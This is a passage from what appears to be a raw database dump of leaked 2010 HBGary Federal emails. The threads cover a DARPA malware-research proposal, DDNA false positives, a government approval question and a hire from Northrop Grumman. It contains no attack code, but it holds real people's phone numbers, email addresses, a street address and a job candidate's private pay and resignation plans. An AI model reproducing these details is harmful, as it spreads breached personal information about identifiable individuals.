Brammer\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGenerally\r\nyou have a gov sponsor, develop the package, have DA sign off and share that\r\nwith other customers.&nbsp; &nbsp;There are other paths but I think that would\r\nbe the most efficient.&nbsp;&nbsp; Lirette has folks that can develop the\r\npackage. \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, February 24, 2010 10:48 AM\r\nTo: Winterfeld, Steven P (TASC Inc)\r\nSubject: Re: Article/Interview with Dr. Brammer\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nYuk.\r\n&nbsp;I need to get ddna diacap approved. &nbsp;How do I do that?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 24, 2010, at 10:20 AM, &quot;Winterfeld, Steven P (TASC Inc)&quot; &lt;steven.winterfeld@TASC.COM&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Beane, Patricia O\r\n(IS) \r\n\r\nSubject: Article/Interview with Dr. Brammer\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nInteresting\r\ninterview with Dr. Bob Brammer\r\n\r\n&nbsp;\r\n\r\nhttp://blog.executivebiz.com/dr-bob-brammer-of-tasc-a-cto-cant-let-his-organization-be-surprised/7358\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nPatricia O. Beane\r\n\r\nManager,\r\nStrategic Programs \r\nTransformational\r\nResearch, Integration and \r\nDemonstration\r\n(TRIAD) Network \r\nNorthrop\r\nGrumman Information Systems \r\n100 Brickstone\r\nSquare \r\nAndover,\r\nMA&nbsp; 01810 \r\n978-749-2413\r\noffice \r\n508-265-0548\r\nmobile \r\npatricia.beane@ngc.com \r\nFor info\r\nvisit: http://triad.is.northgrum.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3419,'aaron_hbgary_com/3419.html'),(3207,'2010-02-28','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001494.M98614P3547Q3203.eml','all@hbgary.com','Great Washington Post article on the cyber war','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\n&nbsp;\r\n\r\nGreat Washington Post article on the cyber war.\r\n\r\nhttp://www.washingtonpost.com/wp-dyn/content/article/2010/02/25/AR2010022502493.html\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12044,'aaron_hbgary_com/12044.html'),(3208,'2010-03-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001495.M295506P3547Q3209.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Thoughts','What about the 2 weeks? &nbsp;Not that he cares, but do we want to get cross-ways with Northrop? &nbsp;Going in and flaming out is not a good approach for him or a good approach for our continued relationship with Northrop. &nbsp;We can\'t afford to really piss them off. &nbsp;Hiring employees, winning contracts, that is a part of business, but we can\'t make this personal.I think he should give his 2 weeks, unless Northrop doesn\'t care.AaronOn Feb 28, 2010, at 8:46 PM, Ted Vera wrote:ResendingBegin forwarded message:From: Ted Vera &lt;ted@hbgary.com&gt;\r\nDate: February 28, 2010 4:11:52 PM MSTTo: Barr Aaron &lt;aaron@hbgary.com&gt;Subject: Fwd: Thoughts\r\nBegin forwarded message:From: mark &lt;mark.trynor@gmail.com&gt;\r\n\r\nDate: February 28, 2010 12:49:36 PM MSTTo: Ted Vera &lt;ted@hbgary.com&gt;Subject: Thoughts\r\n\r\nAfter running through the benefit numbers I ended up with $113K. &nbsp;Aftertalking things over with Kim, who honestly told me to not even go back,I believe it makes the most sense if I resign Monday and begin work on\r\n\r\nTuesday so that I can help from the beginning of the project. &nbsp;Yourthoughts?\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',11992,'aaron_hbgary_com/11992.html'),(3209,'2010-03-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001495.M501656P3547Q3210.eml','\"Phil Wallisch\" <phil@hbgary.com>','Re: Responder and Palantir Loaded','Thanks.Can you tell me what the big differences are between Responder/Recon and CWSandbox?AaronOn Feb 27, 2010, at 4:58 PM, Phil Wallisch wrote:Hi Aaron.&nbsp; I\'m away from my main rig right now but I do have a suggestion for sample memory images.&nbsp; Try Hogfly\'s exmplar images:\r\n&nbsp;\r\nhttp://cid-5694a755c9c6a175.skydrive.live.com/browse.aspx/Public\r\n&nbsp;\r\nLink is off of Forensic IR blog:\r\n&nbsp;\r\nhttp://forensicir.blogspot.com/&nbsp; (skydrive link)\r\n&nbsp;\r\nThat\'s good news about the clearances.&nbsp; I\'m looking forwarding to the opportunity.&nbsp; \r\nOn Fri, Feb 26, 2010 at 11:38 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nHey Guys,I have responder and palantir loaded in a VM and was wondering if you have some good VMEMs that I can look at? &nbsp;Also met with Fidelis. &nbsp;They are going to get us some copies of their Scout software which does environment discovery. &nbsp;I am interested to look at it to incorporate into our IR process. &nbsp;I let you know when I get it.\r\nBTW, &nbsp;Ted and I will be getting our clearances back in the next few weeks. &nbsp;Whooohoooo! &nbsp;About time. &nbsp;Next step will be completing our Fixed Facility paperwork so we can hold our own clearances for HBGary federal and then can start submitting people that are interested in getting one and have a need.\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',13156,'aaron_hbgary_com/13156.html'),(3210,'2010-03-01','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001495.M89237P3547Q3208.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Thoughts','ResendingBegin forwarded message:From: Ted Vera &lt;ted@hbgary.com&gt;\r\nDate: February 28, 2010 4:11:52 PM MSTTo: Barr Aaron &lt;aaron@hbgary.com&gt;Subject: Fwd: Thoughts\r\nBegin forwarded message:From: mark &lt;mark.trynor@gmail.com&gt;\r\n\r\nDate: February 28, 2010 12:49:36 PM MSTTo: Ted Vera &lt;ted@hbgary.com&gt;Subject: Thoughts\r\n\r\nAfter running through the benefit numbers I ended up with $113K.  Aftertalking things over with Kim, who honestly told me to not even go back,I believe it makes the most sense if I resign Monday and begin work on\r\n\r\nTuesday so that I can help from the beginning of the project.  Yourthoughts?\r\n\r\n',11405,'aaron_hbgary_com/11405.html'),(3211,'2010-03-01','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001496.M289854P3547Q3212.eml','\"mark\" <mark.trynor@gmail.com>,\"mark\" <mark.trynor@gmail.com>','Re: Thoughts','Aaron brought up some good points why it may be better for you to give\r\n2 weeks notice and I want to talk with you about it...\r\n\r\nTed\r\n\r\n\r\n\r\nOn Feb 28, 2010, at 12:49 PM, mark  wrote:\r\n\r\n> After running through the benefit numbers I ended up with $113K.\r\n> After\r\n> talking things over with Kim, who honestly told me to not even go\r\n> back,\r\n> I believe it makes the most sense if I resign Monday and begin work on\r\n> Tuesday so that I can help from the beginning of the project.  Your\r\n> thoughts?\r\n',12293,'aaron_hbgary_com/12293.html'),(3212,'2010-03-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001496.M501800P3547Q3213.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Thoughts','can u believe that malwaregenome.com is available?\r\n\r\nOn Feb 28, 2010, at 9:54 PM, Ted Vera wrote:\r\n\r\n> Aaron brought up some good points why it may be better for you to give\r\n> 2 weeks notice and I want to talk with you about it...\r\n> \r\n> Ted\r\n> \r\n> \r\n> \r\n> On Feb 28, 2010, at 12:49 PM, mark  wrote:\r\n> \r\n>> After running through the benefit numbers I ended up with $113K.\r\n>> After\r\n>> talking things over with Kim, who honestly told me to not even go\r\n>> back,\r\n>> I believe it makes the most sense if I resign Monday and begin work on\r\n>> Tuesday so that I can help from the beginning of the project.  Your\r\n>> thoughts?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',15658,'aaron_hbgary_com/15658.html'),(3213,'2010-03-01','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001496.M75418P3547Q3211.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Thoughts','Good pointsOn Feb 28, 2010, at 6:51 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nWhat about the 2 weeks?  Not that he cares, but do we want to get cross-ways with Northrop?  Going in and flaming out is not a good approach for him or a good approach for our continued relationship with Northrop.  We can&#39;t afford to really piss them off.  Hiring employees, winning contracts, that is a part of business, but we can&#39;t make this personal.\r\nI think he should give his 2 weeks, unless Northrop doesn&#39;t care.AaronOn Feb 28, 2010, at 8:46 PM, Ted Vera wrote:\r\nResendingBegin forwarded message:From: Ted Vera &lt;ted@hbgary.com&gt;\r\n\r\nDate: February 28, 2010 4:11:52 PM MSTTo: Barr Aaron &lt;aaron@hbgary.com&gt;Subject: Fwd: Thoughts\r\n\r\nBegin forwarded message:From: mark &lt;mark.trynor@gmail.com&gt;\r\n\r\n\r\nDate: February 28, 2010 12:49:36 PM MSTTo: Ted Vera &lt;ted@hbgary.com&gt;Subject: Thoughts\r\n\r\n\r\nAfter running through the benefit numbers I ended up with $113K.  Aftertalking things over with Kim, who honestly told me to not even go back,I believe it makes the most sense if I resign Monday and begin work on\r\n\r\n\r\nTuesday so that I can help from the beginning of the project.  Yourthoughts?\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n',13629,'aaron_hbgary_com/13629.html'),(3214,'2010-03-01','\"Rodriguez, Harold\" <Harold.Rodriguez@gd-ais.com>','/aaron@hbgary.com/new/1297001498.M129405P3547Q3214.eml','aaron@hbgary.com,rich@hbgary.com,bob@hbgary.com,greg@hbgary.com,aaron@hbgary.com,rich@hbgary.com,bob@hbgary.com,greg@hbgary.com,','DARPA\'s Cyber-Genome Program - Technical Area 1 - General Dynamics - AIS','Cyber-Genome Meeting - Notes from yesterday\'s meeting\r\n\r\n\r\n\r\n\r\nAaron, Rich, Bob, Greg,\r\n&nbsp;\r\n\r\n\r\nI am currently supporting Jason Upchurch in Technical Area 1 for the DARPA Cyber Genome technical&nbsp;proposal.\r\n&nbsp;\r\nFor this technical area, could you please look at the attached document and provide some of what you will consider are Win/Innovative/Revolutionary&nbsp;RESEARCH ideas.&nbsp;It will be greatly appreciated if you could&nbsp;also provide one (1) or (2) technical papers in the area.\r\n&nbsp;\r\nIn the attached document I tried to provide couple of examples, but feel free to add the information you feel is appropriate.\r\n&nbsp;\r\nBest regards and thank you!\r\n&nbsp;\r\n\r\nHarold RodriguezLead Systems EngineerGeneral Dynamics - Advanced Information SystemsDC3\\DCCI: (410) 694-6409\r\nGDAIS: (240) 456-5600 x8028\r\n\r\n&nbsp;',5348,'aaron_hbgary_com/5348.html'),(3215,'2010-03-01','\"Rodriguez, Harold\" <Harold.Rodriguez@gd-ais.com>','/aaron@hbgary.com/new/1297001498.M871176P3547Q3215.eml','aaron@hbgary.com,rich@hbgary.com,bob@hbgary.com,greg@hbgary.com,aaron@hbgary.com,rich@hbgary.com,bob@hbgary.com,greg@hbgary.com,','RE: DARPA\'s Cyber-Genome Program - Technical Area 1 - General Dynamics - AIS','Cyber-Genome Meeting - Notes from yesterday\'s meeting\r\n\r\n\r\n\r\n\r\nGood Morning,\r\n&nbsp;\r\nHere is an updated document adding a column for metrics/measures of success.\r\n&nbsp;\r\nBest regards,\r\n&nbsp;\r\n\r\nHarold RodriguezLead Systems EngineerGeneral Dynamics - Advanced Information SystemsDC3\\DCCI: (410) 694-6409\r\nGDAIS: (240) 456-5600 x8028\r\n\r\n\r\nFrom: Rodriguez, HaroldSent: Sun 2/28/2010 11:46 PMTo: aaron@hbgary.com; rich@hbgary.com; bob@hbgary.com; greg@hbgary.comCc: Upchurch, Jason R.; Starr, Christopher H.; Harlow, Douglas M.; Vela, Ryan; Wilson, Ben N.Subject: DARPA\'s Cyber-Genome Program - Technical Area 1 - General Dynamics - AIS\r\n\r\n\r\nAaron, Rich, Bob, Greg,\r\n&nbsp;\r\n\r\n\r\nI am currently supporting Jason Upchurch in Technical Area 1 for the DARPA Cyber Genome technical&nbsp;proposal.\r\n&nbsp;\r\nFor this technical area, could you please look at the attached document and provide some of what you will consider are Win/Innovative/Revolutionary&nbsp;RESEARCH ideas.&nbsp;It will be greatly appreciated if you could&nbsp;also provide one (1) or (2) technical papers in the area.\r\n&nbsp;\r\nIn the attached document I tried to provide couple of examples, but feel free to add the information you feel is appropriate.\r\n&nbsp;\r\nBest regards and thank you!\r\n&nbsp;\r\n\r\nHarold RodriguezLead Systems EngineerGeneral Dynamics - Advanced Information SystemsDC3\\DCCI: (410) 694-6409\r\nGDAIS: (240) 456-5600 x8028\r\n\r\n&nbsp;',12080,'aaron_hbgary_com/12080.html'),(3216,'2010-03-01','\"Aaron Barr\" <adbarr@me.com>','/aaron@hbgary.com/new/1297001499.M142173P3547Q3216.eml','\"Aaron Barr\" <aaron@hbgary.com>','Alarm - Car Work','March 1, 2010 8:00 AM : Car Work7035341818 \r\n',7824,'aaron_hbgary_com/7824.html'),(3217,'2010-03-01','\"Google Calendar\" <calendar-notification@google.com>','/aaron@hbgary.com/new/1297001499.M334455P3547Q3217.eml','\"Aaron Barr\" <aaron@hbgary.com>','Reminder: Car Work @ Mon Mar 1 8am - 9am (aaron@hbgary.com)',' more details &raquo;Car Work7035341818WhenMon Mar 1 8am – 9am Eastern TimeWhere103 gordon rd. (map)Calendaraaron@hbgary.comWho&#x2022;Aaron Barr - organizerInvitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for reminders on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',8438,'aaron_hbgary_com/8438.html'),(3218,'2010-03-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001499.M649894P3547Q3218.eml','\"Rodriguez, Harold\" <Harold.Rodriguez@gd-ais.com>,\"Rodriguez, Harold\" <Harold.Rodriguez@gd-ais.com>,,,,,,,','Re: DARPA\'s Cyber-Genome Program - Technical Area 1 - General Dynamics - AIS','Thanks.Harold, these all seem to be more specific to Tech area 3 than 1 am I misreading it?AaronOn Mar 1, 2010, at 7:46 AM, Rodriguez, Harold wrote:\r\n\r\nGood Morning,\r\n&nbsp;\r\nHere is an updated document adding a column for metrics/measures of success.\r\n&nbsp;\r\nBest regards,\r\n&nbsp;\r\n\r\nHarold RodriguezLead Systems EngineerGeneral Dynamics - Advanced Information SystemsDC3\\DCCI: (410) 694-6409\r\nGDAIS: (240) 456-5600 x8028\r\n\r\n\r\nFrom: Rodriguez, HaroldSent: Sun 2/28/2010 11:46 PMTo: aaron@hbgary.com; rich@hbgary.com; bob@hbgary.com; greg@hbgary.comCc: Upchurch, Jason R.; Starr, Christopher H.; Harlow, Douglas M.; Vela, Ryan; Wilson, Ben N.Subject: DARPA\'s Cyber-Genome Program - Technical Area 1 - General Dynamics - AIS\r\n\r\n\r\nAaron, Rich, Bob, Greg,\r\n&nbsp;\r\n\r\n\r\nI am currently supporting Jason Upchurch in Technical Area 1 for the DARPA Cyber Genome technical&nbsp;proposal.\r\n&nbsp;\r\nFor this technical area, could you please look at the attached document and provide some of what you will consider are Win/Innovative/Revolutionary&nbsp;RESEARCH ideas.&nbsp;It will be greatly appreciated if you could&nbsp;also provide one (1) or (2) technical papers in the area.\r\n&nbsp;\r\nIn the attached document I tried to provide couple of examples, but feel free to add the information you feel is appropriate.\r\n&nbsp;\r\nBest regards and thank you!\r\n&nbsp;\r\n\r\nHarold RodriguezLead Systems EngineerGeneral Dynamics - Advanced Information SystemsDC3\\DCCI: (410) 694-6409\r\nGDAIS: (240) 456-5600 x8028\r\n\r\n&nbsp;&lt;Tech Area 1-Malware correlation-Partner Name.doc&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',13788,'aaron_hbgary_com/13788.html'),(3219,'2010-03-01','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001499.M896743P3547Q3219.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: DARPA\'s Cyber-Genome Program - Technical Area 1 - General Dynamics - AIS','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\nCyber-Genome Meeting - Notes from yesterday\'s meeting\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nIs GD taking the lead in the proposal creation?&nbsp; Seems unusual\r\nfor them to send out this doc when NG is the prime for #1.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Rodriguez, Harold\r\n[mailto:Harold.Rodriguez@gd-ais.com] \r\nSent: Monday, March 01, 2010 7:47 AM\r\nTo: aaron@hbgary.com; rich@hbgary.com; bob@hbgary.com; greg@hbgary.com\r\nCc: Upchurch, Jason R.; Starr, Christopher H.; Harlow, Douglas M.; Vela,\r\nRyan; Wilson, Ben N.\r\nSubject: RE: DARPA\'s Cyber-Genome Program - Technical Area 1 - General\r\nDynamics - AIS\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nGood Morning,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHere\r\nis an updated document adding a column for metrics/measures of success.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBest\r\nregards,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHarold Rodriguez\r\nLead Systems Engineer\r\nGeneral Dynamics - Advanced Information Systems\r\nDC3\\DCCI: (410)\r\n694-6409 \r\n\r\n\r\n\r\nGDAIS:\r\n(240) 456-5600 x8028\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Rodriguez, Harold\r\nSent: Sun 2/28/2010 11:46 PM\r\nTo: aaron@hbgary.com; rich@hbgary.com; bob@hbgary.com; greg@hbgary.com\r\nCc: Upchurch, Jason R.; Starr, Christopher H.; Harlow, Douglas M.; Vela,\r\nRyan; Wilson, Ben N.\r\nSubject: DARPA\'s Cyber-Genome Program - Technical Area 1 - General\r\nDynamics - AIS\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\nRich, Bob, Greg,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI\r\nam currently supporting Jason Upchurch in Technical Area 1 for the DARPA Cyber\r\nGenome technical&nbsp;proposal.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFor\r\nthis technical area, could you please look at the attached document and provide\r\nsome of what you will consider are Win/Innovative/Revolutionary&nbsp;RESEARCH\r\nideas.&nbsp;It will be greatly appreciated if you could&nbsp;also provide one\r\n(1) or (2) technical papers in the area.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIn\r\nthe attached document I tried to provide couple of examples, but feel free to\r\nadd the information you feel is appropriate.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBest\r\nregards and thank you!\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHarold\r\nRodriguez\r\nLead Systems Engineer\r\nGeneral Dynamics - Advanced Information Systems\r\nDC3\\DCCI: (410) 694-6409\r\n\r\n\r\n\r\n\r\n\r\nGDAIS:\r\n(240) 456-5600 x8028\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2708 - Release Date: 02/28/10\r\n14:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1412,'aaron_hbgary_com/1412.html'),(3220,'2010-03-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001500.M283529P3547Q3221.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: DARPA\'s Cyber-Genome Program - Technical Area 1 - General Dynamics - AIS','Bob,Do we get a lot of false postiives with DDNA?On Mar 1, 2010, at 8:11 AM, Bob Slapnik wrote:Aaron,&nbsp;Is GD taking the lead in the proposal creation?&nbsp; Seems unusual for them to send out this doc when NG is the prime for #1.&nbsp;Bob&nbsp;&nbsp;From:&nbsp;Rodriguez, Harold [mailto:Harold.Rodriguez@gd-ais.com]&nbsp;Sent:&nbsp;Monday, March 01, 2010 7:47 AMTo:&nbsp;aaron@hbgary.com;&nbsp;rich@hbgary.com;&nbsp;bob@hbgary.com;&nbsp;greg@hbgary.comCc:&nbsp;Upchurch, Jason R.; Starr, Christopher H.; Harlow, Douglas M.; Vela, Ryan; Wilson, Ben N.Subject:&nbsp;RE: DARPA\'s Cyber-Genome Program - Technical Area 1 - General Dynamics - AIS&nbsp;Good Morning,&nbsp;Here is an updated document adding a column for metrics/measures of success.&nbsp;Best regards,&nbsp;Harold RodriguezLead Systems EngineerGeneral Dynamics - Advanced Information SystemsDC3\\DCCI: (410) 694-6409GDAIS: (240) 456-5600 x8028&nbsp;From:&nbsp;Rodriguez, HaroldSent:&nbsp;Sun 2/28/2010 11:46 PMTo:&nbsp;aaron@hbgary.com;&nbsp;rich@hbgary.com;&nbsp;bob@hbgary.com;&nbsp;greg@hbgary.comCc:&nbsp;Upchurch, Jason R.; Starr, Christopher H.; Harlow, Douglas M.; Vela, Ryan; Wilson, Ben N.Subject:&nbsp;DARPA\'s Cyber-Genome Program - Technical Area 1 - General Dynamics - AISAaron, Rich, Bob, Greg,&nbsp;I am currently supporting Jason Upchurch in Technical Area 1 for the DARPA Cyber Genome technical&nbsp;proposal.&nbsp;For this technical area, could you please look at the attached document and provide some of what you will consider are Win/Innovative/Revolutionary&nbsp;RESEARCH ideas.&nbsp;It will be greatly appreciated if you could&nbsp;also provide one (1) or (2) technical papers in the area.&nbsp;In the attached document I tried to provide couple of examples, but feel free to add the information you feel is appropriate.&nbsp;Best regards and thank you!&nbsp;Harold RodriguezLead Systems EngineerGeneral Dynamics - Advanced Information SystemsDC3\\DCCI: (410) 694-6409GDAIS: (240) 456-5600 x8028&nbsp;No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.733 / Virus Database: 271.1.1/2708 - Release Date: 02/28/10 14:34:00\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',52,'aaron_hbgary_com/52.html'),(3221,'2010-03-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001500.M628226P3547Q3222.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','Thought','Would it be detrimental to HBGary business to open source the traits database?\r\n\r\nMy thought is this is the best working example of a method for identifying malware today.  More behavior based models will be developed.  If you open sourced it, and it became the standard, so the community manages the maturation of the database, you can focus on how that gets used for automated analysis and build more integrated automated incident response and course of action capabilities. \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',9309,'aaron_hbgary_com/9309.html'),(3222,'2010-03-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001500.M73676P3547Q3220.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: DARPA\'s Cyber-Genome Program - Technical Area 1 - General Dynamics - AIS','There is some dispute on who is priming #1 now...we are still working on it. :) &nbsp;In the end it is possible NG is not on the team, but we are not there yet.AaronOn Mar 1, 2010, at 8:11 AM, Bob Slapnik wrote:Aaron,&nbsp;Is GD taking the lead in the proposal creation?&nbsp; Seems unusual for them to send out this doc when NG is the prime for #1.&nbsp;Bob&nbsp;&nbsp;From:&nbsp;Rodriguez, Harold [mailto:Harold.Rodriguez@gd-ais.com]&nbsp;Sent:&nbsp;Monday, March 01, 2010 7:47 AMTo:&nbsp;aaron@hbgary.com;&nbsp;rich@hbgary.com;&nbsp;bob@hbgary.com;&nbsp;greg@hbgary.comCc:&nbsp;Upchurch, Jason R.; Starr, Christopher H.; Harlow, Douglas M.; Vela, Ryan; Wilson, Ben N.Subject:&nbsp;RE: DARPA\'s Cyber-Genome Program - Technical Area 1 - General Dynamics - AIS&nbsp;Good Morning,&nbsp;Here is an updated document adding a column for metrics/measures of success.&nbsp;Best regards,&nbsp;Harold RodriguezLead Systems EngineerGeneral Dynamics - Advanced Information SystemsDC3\\DCCI: (410) 694-6409GDAIS: (240) 456-5600 x8028&nbsp;From:&nbsp;Rodriguez, HaroldSent:&nbsp;Sun 2/28/2010 11:46 PMTo:&nbsp;aaron@hbgary.com;&nbsp;rich@hbgary.com;&nbsp;bob@hbgary.com;&nbsp;greg@hbgary.comCc:&nbsp;Upchurch, Jason R.; Starr, Christopher H.; Harlow, Douglas M.; Vela, Ryan; Wilson, Ben N.Subject:&nbsp;DARPA\'s Cyber-Genome Program - Technical Area 1 - General Dynamics - AISAaron, Rich, Bob, Greg,&nbsp;I am currently supporting Jason Upchurch in Technical Area 1 for the DARPA Cyber Genome technical&nbsp;proposal.&nbsp;For this technical area, could you please look at the attached document and provide some of what you will consider are Win/Innovative/Revolutionary&nbsp;RESEARCH ideas.&nbsp;It will be greatly appreciated if you could&nbsp;also provide one (1) or (2) technical papers in the area.&nbsp;In the attached document I tried to provide couple of examples, but feel free to add the information you feel is appropriate.&nbsp;Best regards and thank you!&nbsp;Harold RodriguezLead Systems EngineerGeneral Dynamics - Advanced Information SystemsDC3\\DCCI: (410) 694-6409GDAIS: (240) 456-5600 x8028&nbsp;No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.733 / Virus Database: 271.1.1/2708 - Release Date: 02/28/10 14:34:00\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',13343,'aaron_hbgary_com/13343.html'),(3223,'2010-03-01','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001500.M851613P3547Q3223.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: DARPA\'s Cyber-Genome Program - Technical Area 1 - General Dynamics - AIS','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nThis is a bigger conversation with Greg, Phil and Rich, but here\r\nis my take on it.&nbsp; The short and current answer is &#8220;yes&#8221;.&nbsp;\r\nDDNA flags binaries as malware that look and act like malware.&nbsp; It turns\r\nout that some good software acts like malware so it scores high.&nbsp; Examples\r\nare host security products.&nbsp; We view that as DDNA giving accurate results,\r\nbut in practice our customers get no value from every host in the enterprise\r\nreporting &#8220;red&#8221; (since every host has security and possibly other software\r\nthat act like malware).\r\n\r\n&nbsp;\r\n\r\nHBGary is dealing with the false positive problem as we\r\nspeak.&nbsp; A first pass solution was to give customers an easy way to filter\r\ngood software from the reports, but this is just a bandaide short term answer.&nbsp;\r\nThe reason the report filtering approach is faulty is because filtered software\r\ncould actually have evil code injected into it.&nbsp; This is the fault with\r\ndisk based hashing.&nbsp; Saying it is good on disk does not ensure secure in\r\nRAM during execution.\r\n\r\n&nbsp;\r\n\r\nThe HBGary development team is currently approaching the false\r\npositives problem from a more fundamental level.&nbsp; The objective is that\r\nall software will have its DDNA score reported.&nbsp; Software such as security\r\ntools will have its score &#8220;cooled off&#8221; so it doesn&#8217;t show up\r\nas malware, but it will reporting as a cooler color.&nbsp; This leaves open the\r\npossibility that if bad code gets injected it could get heated back up as red\r\nor orange.\r\n\r\n&nbsp;\r\n\r\nThere is also development work around &#8220;fuzzy hashing&#8221;\r\nin RAM.&nbsp; My info is sketchy at best and might be flat out incorrect&#8230;&#8230;\r\nI &#8220;think&#8221; customers will be able to take fuzzy hashes (whatever\r\nthat means) of gold images &#8211; these results are stored.&nbsp; Then during deployment\r\nDDNA scores (or maybe something else) are compared to the gold images.&nbsp; If\r\nthe variance is greater than some pre-specified amount, then the binary is\r\nflagged.&nbsp; There is a lot more to this than I know.&nbsp; And 